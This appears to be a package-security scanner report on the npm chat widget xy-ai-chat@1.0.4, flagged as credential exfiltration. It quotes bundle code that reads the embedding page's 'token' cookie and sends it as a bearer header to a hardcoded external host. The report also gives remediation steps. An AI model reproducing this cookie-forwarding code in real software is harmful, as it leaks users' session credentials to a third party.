registry / Credential exfiltration / xy-ai-chat

xy-ai-chat

基于 Lit 的 AI 智能聊天 Web Component，支持浮动按钮 / 嵌入模式，可在 Vue2、React、UniApp、原生 HTML 等任意项目中使用。

This report shows the evidence for xy-ai-chat@1.0.4. 3 of 3 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 3d ago · by lpm-firewall-ai

The active chat and supporting request paths disclose the embedding page's cookie token to a package-selected external recipient. This is concrete credential exfiltration and warrants blocking publication.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

The component loads agent details or a user sends a chat message or submits feedback.

Impact

The recipient can receive and potentially use the embedding page's token; the source shows no recipient-specific consent or destination validation.

Mechanism

Its request helpers read `document.cookie` and attach the token as a bearer credential to requests sent to the hardcoded host.

Attack narrative

When the exported chat component requests agent details, sends a chat message, or submits feedback, it reads the embedding page's `token` cookie and sends it as a bearer credential to a fixed external host. The package selects that recipient, and the inspected source shows no recipient-specific consent or destination validation. This is credential exposure during ordinary component use.

AI rationale

Evidence

package.jsondist/index.esm.js

Network endpoints1

aitest.mxrvending.com:9097

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for block

The package exposes the ESM bundle as its import entry point and exports the chat component.
The bundle reads the page's `token` cookie and uses it as a bearer credential.
Chat requests send that credential to a fixed package-selected host when the component sends a message.
The same request helper sends the credential for agent details and feedback requests.

Evidence against

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsPossibleObfuscationUrlStrings

Manifest

NoLicense

scanned 3 file(s), 640 KB of source, external domains: aitest.mxrvending.com, ossfile.mxrvending.com

Source & flagged code

6 flagged

dist/index.esm.jsView file

Lines 5986-6038javascript

5986 throw new Error("Input data should be a String");

5987 }

5988 const state = new this.core.State(src, this, env);

5989 this.core.process(state);

5990 return state.tokens;

5991};

5992MarkdownIt.prototype.render = function(src, env) {

5993 env = env || {};

5994 return this.renderer.render(this.parse(src, env), this.options, env);

5995};

5996MarkdownIt.prototype.parseInline = function(src, env) {

5997 const state = new this.core.State(src, this, env);

5998 state.inlineMode = true;

5999 this.core.process(state);

6000 return state.tokens;

6001};

6002MarkdownIt.prototype.renderInline = function(src, env) {

6003 env = env || {};

6004 return this.renderer.render(this.parseInline(src, env), this.options, env);

6005};

6006const baseUrl = "https://aitest.mxrvending.com:9097";

6007function getTokenFromCookie() {

6008 const match2 = document.cookie.match(/(?:^|;\s*)token=([^;]*)/);

6009 return match2 ? decodeURIComponent(match2[1]) : null;

6010}

6011function streamRequest(url, data, callbacks = {}, headers) {

6012 const { onSessionId, onMessage, onComplete, onError } = callbacks;

6013 const controller = new AbortController();

6014 const token = getTokenFromCookie();

6015 const init = {

6016 method: "POST",

6017 headers: __spreadValues(__spreadValues({

High

Ai Review Evidence

The bundle reads the page's `token` cookie and uses it as a bearer credential.

dist/index.esm.jsView on unpkg · L6006

6018 "Content-Type": "application/json"

6019 }, token && { Authorization: `Bearer ${token}` }), headers),

6020 body: JSON.stringify(data),

6021 signal: controller.signal

6022 };

6023 const finalUrl = `${baseUrl.replace(/\/+$/, "")}/${url.replace(/^\/+/, "")}`;

6024 fetch(finalUrl, init).then((res) => __async(this, null, function* () {

6025 if (!res.ok) throw new Error(`请求失败: ${res.status}`);

6026 const reader = res.body.getReader();

High

Ai Review Evidence

Chat requests send that credential to a fixed package-selected host when the component sends a message.

dist/index.esm.jsView on unpkg · L6018

6027 const decoder = new TextDecoder();

6028 let buffer = "";

6029 let currentEvent = "message";

6030 while (true) {

6031 const { done, value } = yield reader.read();

6032 if (done) break;

6033 buffer += decoder.decode(value, { stream: true });

6034 const lines = buffer.split("\n");

6035 buffer = lines.pop() || "";

6036 for (const line of lines) {

6037 const trimmedLine = line.trim();

6038 if (!trimmedLine) continue;

Lines 6979-7019javascript

6979 if (err instanceof Error && err.name === "AbortError") {

6980 this.messages = this.messages.map(

6981 (msg) => msg.id === aiMessageId

•Browser cookie sent to a fixed external endpoint in dist/index.esm.js: urlText = state.md.normalizeLinkText("http://" + urlText).replace(/^http:\/\//, ""); re.src_domain_root = // Allow letters & digits (http://test1) match2.url = "http://" + match2.url; * @see <https://mathiasbynens.be/notes/javascript-encoding> const baseUrl = "https://aitest.mxrvending.com:9097"; const match2 = document.cookie.match(/(?:^|;\s*)token=([^;]*)/); // document.cookie = `token=${encodeURIComponent(tokenRes.data.token)};expires=${expires.toUTCString()};path=/`; <div class="message-avatar"><img src="https://ossfile.mxrvending.com/assets/xy_ai_chat/lyf.png" alt="AI" /></div>

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/index.esm.jsView on unpkg

dist/index.cjs.jsView file

•stage = ast_semantic_analysis; reason = ast_trace_path_limit_exceeded; limitedFiles = 3

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/index.cjs.jsView on unpkg

package.jsonView file

Lines 1-24json

2 "name": "xy-ai-chat",

3 "version": "1.0.4",

4 "main": "dist/index.cjs.js",

5 "module": "dist/index.esm.js",

Source & flagged code

6 flagged · loading source

dist/index.esm.jsView file

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/index.esm.jsView on unpkg

6006baseUrl = "https://aitest.mxrvending.com:9097"; function getTokenFromCookie() { const match2 = document.cookie.match(/(?:^|;\s*)token=([^;]*)/); return match2 ? decodeURIComponent(match2[1]) : null; } function streamRequest(url, data, callbacks = {}, headers) { const { onSessionId, onMessage, onComplete, onError } = callbacks; const controller = new AbortController(); const token = getTokenFromCookie(); const init = { method: "POST", headers: __spreadValues(__spreadValues({ "Content-Type": "application/json" }, token && { Authorization: `Bearer ${token}`

High

Ai Review Evidence

The bundle reads the page's `token` cookie and uses it as a bearer credential.

dist/index.esm.jsView on unpkg · L6006

Findings

1 Critical5 High2 Medium4 Low

CriticalHardcoded Runtime Data Exfiltrationdist/index.esm.js

HighSemantic Analysis Limiteddist/index.cjs.js

HighAi Review Evidencepackage.json

HighAi Review Evidencedist/index.esm.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

LowNo License

Affected versions and remediation

This report applies to xy-ai-chat@1.0.4.

The versions list below shows the verdict for each recorded version.

Avoid installing xy-ai-chat@1.0.4. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-20 02:24:44.652Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

1.0.4latestshownMaliciousCredential ExfiltrationBlockPublishedOct 20, 2026, 2:22 AM 0.1.1MaliciousMalwareBlockPublishedUnknown 0.0.34MaliciousMalwareBlockPublishedUnknown

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Behavioral surface

Related packages

Other credential exfiltration packages

Source & flagged code